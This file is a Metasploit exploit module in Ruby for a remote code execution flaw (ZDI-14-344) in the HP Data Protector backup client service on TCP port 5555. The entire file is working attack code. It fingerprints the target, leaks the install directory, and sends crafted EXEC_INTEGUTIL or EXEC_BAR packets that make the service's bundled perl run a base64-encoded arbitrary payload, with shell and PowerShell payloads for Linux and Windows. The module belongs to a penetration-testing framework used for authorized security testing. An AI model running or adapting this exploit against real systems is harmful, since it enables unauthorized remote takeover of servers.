##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GreatRanking

  include Msf::Exploit::Remote::Tcp
  include Msf::Exploit::Powershell

  def initialize(info = {})
    super(update_info(info,
      'Name'            => 'HP Data Protector EXEC_INTEGUTIL Remote Code Execution',
      'Description'     => %q{
        This exploit abuses a vulnerability in the HP Data Protector. The vulnerability exists
        in the Backup client service, which listens by default on TCP/5555. The EXEC_INTEGUTIL
        request allows to execute arbitrary commands from a restricted directory. Since it
        includes a perl executable, it's possible to use an EXEC_INTEGUTIL packet to execute
        arbitrary code. On linux targets, the perl binary isn't on the restricted directory, but
        an EXEC_BAR packet can be used to access the perl binary, even in the last version of HP
        Data Protector for linux.  This module has been tested successfully on HP Data Protector
        9 over Windows 2008 R2 64 bits and CentOS 6 64 bits.
      },
      'Author'          =>
        [
          'Aniway.Anyway <Aniway.Anyway[at]gmail.com>', # vulnerability discovery
          'juan vazquez'                                # msf module
        ],
      'References'      =>
        [
          [ 'ZDI', '14-344']
        ],
      'Payload'        =>
        {
          'DisableNops' => true
        },
      'DefaultOptions'  =>
        {
          # The powershell embedded payload takes some time to deploy
          'WfsDelay' => 20
        },
      'Targets'         =>
        [
          [ 'Linux 64 bits / HP Data Protector 9',
            {
              'Platform' => 'unix',
              'Arch'     => ARCH_CMD,
              'Payload' => {
                'Compat' => {
                  'PayloadType' => 'cmd cmd_bash',
                  'RequiredCmd' => 'perl gawk bash-tcp openssl python generic'
                }
              }
            }
          ],
          [ 'Windows 64 bits / HP Data Protector 9',
            {
              'Platform' => 'win',
              'Arch'     => ARCH_CMD,
              'Payload' => {
                'Compat' => {
                  'PayloadType' => 'cmd',
                  'RequiredCmd' => 'powershell'
                }
              }
            }
          ]
        ],
      'DefaultTarget'   => 0,
      'Privileged'      => true,
      'DisclosureDate'  => 'Oct 2 2014'
    ))

    register_options(
      [
        Opt::RPORT(5555)
      ])
  end

  def check
    fingerprint = get_fingerprint

    if fingerprint.nil?
      return Exploit::CheckCode::Unknown
    end

    if fingerprint =~ /Data Protector A\.(\d+\.\d+)/
      version = $1
      vprint_status("Windows / HP Data Protector version #{version} found")
    elsif fingerprint =~ / INET/
      vprint_status("Linux / HP Data Protector found")
      return Exploit::CheckCode::Detected
    else
      return Exploit::CheckCode::Safe
    end

    if Gem::Version.new(version) <= Gem::Version.new('9')
      return Exploit::CheckCode::Appears
    end

    Exploit::CheckCode::Detected # there is no patch at the time of module writing
  end

  def exploit
    rand_exec = rand_text_alpha(8)
    print_status("Leaking the HP Data Protector directory...")
    leak = leak_hp_directory(rand_exec)
    dir = parse_dir(leak, rand_exec)

    if dir.nil?
      dir = default_hp_dir
      print_error("HP Data Protector dir not found, using the default #{dir}")
    else
      unless valid_target?(dir)
        print_error("HP Data Protector directory leaked as #{dir}, #{target.name} looks incorrect, trying anyway...")
      end
    end

    if target.name =~ /Windows/
      #command = cmd_psh_payload(payload.encoded, payload_instance.arch.first, {:remove_comspec => true, :encode_final_payload => true})
      print_status("Executing payload...")
      execute_windows(payload.encoded, dir)
    else
      print_status("Executing payload...")
      execute_linux(payload.encoded, dir)
    end
  end

  def build_pkt(fields)
    data = "\xff\xfe" # BOM Unicode
    fields.each do |v|
      data << "#{Rex::Text.to_unicode(v)}\x00\x00"
      data << Rex::Text.to_unicode(" ") # Separator
    end

    data.chomp!(Rex::Text.to_unicode(" ")) # Delete last separator
    return [data.length].pack("N") + data
  end

  def get_fingerprint
    fingerprint = get_fingerprint_windows
    if fingerprint.nil?
      fingerprint = get_fingerprint_linux
    end

    fingerprint
  end

  def get_fingerprint_linux
    connect

    sock.put([2].pack("N") + "\xff\xfe")
    begin
      res = sock.get_once(4)
    rescue EOFError
      disconnect
      return nil
    end

    if res.nil?
      disconnect
      return nil
    else
      length = res.unpack("N")[0]
    end

    begin
      res = sock.get_once(length)
    rescue EOFError
      return nil
    ensure
      disconnect
    end

    if res.nil?
      return nil
    end

    res
  end

  def get_fingerprint_windows
    connect

    sock.put(rand_text_alpha_upper(64))
    begin
    res = sock.get_once(4)
    rescue ::Errno::ECONNRESET, EOFError
      disconnect
      return nil
    end

    if res.nil?
      disconnect
      return nil
    else
      length = res.unpack("N")[0]
    end

    begin
      res = sock.get_once(length)
    rescue EOFError
      return nil
    ensure
      disconnect
    end

    if res.nil?
      return nil
    end

    Rex::Text.to_ascii(res).chop.chomp # Delete unicode last null
  end

  def leak_hp_directory(rand_exec)
    connect
    pkt = build_pkt([
      "2", # Message Type
      rand_text_alpha(8),
      rand_text_alpha(8),
      rand_text_alpha(8),
      rand_text_alpha(8),
      rand_text_alpha(8),
      "28", # Opcode EXEC_INTEGUTIL
      rand_exec,
    ])

    sock.put(pkt)
    begin
      res = sock.get_once(4)
    rescue EOFError
      disconnect
      return nil
    end

    if res.nil?
      disconnect
      return nil
    else
      length = res.unpack("N")[0]
    end

    begin
    res = sock.get_once(length)
    rescue EOFError
      return nil
    ensure
      disconnect
    end

    if res.nil?
      return nil
    end

    if res =~ /No such file or directory/ # Linux signature
      return res
    else # deal as windows target
      return Rex::Text.to_ascii(res).chop.chomp # Delete unicode last null
    end
  end

  def parse_dir(data, clue)
    if data && data =~ /The system cannot find the file specified\..*(.:\\.*)bin\\#{clue}/
      dir = $1
      print_good("HP Data Protector directory found on #{dir}")
    elsif data && data =~ /\]\x00 (\/.*)lbin\/#{clue}\x00 \[\d\] No such file or directory/
      dir = $1
      print_good("HP Data Protector directory found on #{dir}")
    else
      dir = nil
    end

    dir
  end

  def valid_target?(dir)
    if target.name =~ /Windows/ && dir =~ /^[A-Za-z]:\\/
      return true
    elsif target.name =~ /Linux/ && dir.start_with?('/')
      return true
    end

    false
  end

  def default_hp_dir
    if target.name =~ /Windows/
      dir = 'C:\\Program Files\\OmniBack\\'
    else # linux
      dir = '/opt/omni/lbin/'
    end

    dir
  end

  def execute_windows(cmd, hp_dir)
    connect
    pkt = build_pkt([
      "2", # Message Type
      rand_text_alpha(8),
      rand_text_alpha(8),
      rand_text_alpha(8),
      rand_text_alpha(8),
      rand_text_alpha(8),
      "28", # Opcode EXEC_INTEGUTIL
      "perl.exe",
      "-I#{hp_dir}lib\\perl",
      "-MMIME::Base64",
      "-e",
      "system(decode_base64('#{Rex::Text.encode_base64(cmd)}'))"
    ])
    sock.put(pkt)
    disconnect
  end

  def execute_linux(cmd, hp_dir)
    connect
    pkt = build_pkt([
      '2', # Message Type
      rand_text_alpha(8),
      rand_text_alpha(8),
      rand_text_alpha(8),
      rand_text_alpha(8),
      rand_text_alpha(8),
      '11', # Opcode EXEC_BAR
      rand_text_alpha(8),
      rand_text_alpha(8),
      rand_text_alpha(8),
      rand_text_alpha(8),
      rand_text_alpha(8),
      rand_text_alpha(8),
      rand_text_alpha(8),
      rand_text_alpha(8),
      rand_text_alpha(8),
      rand_text_alpha(8),
      rand_text_alpha(8),
      "../bin/perl",
      rand_text_alpha(8),
      "-I#{hp_dir}lib/perl",
      '-MMIME::Base64',
      '-e',
      "system(decode_base64('#{Rex::Text.encode_base64(cmd)}'))"
    ])
    sock.put(pkt)
    disconnect
  end
end
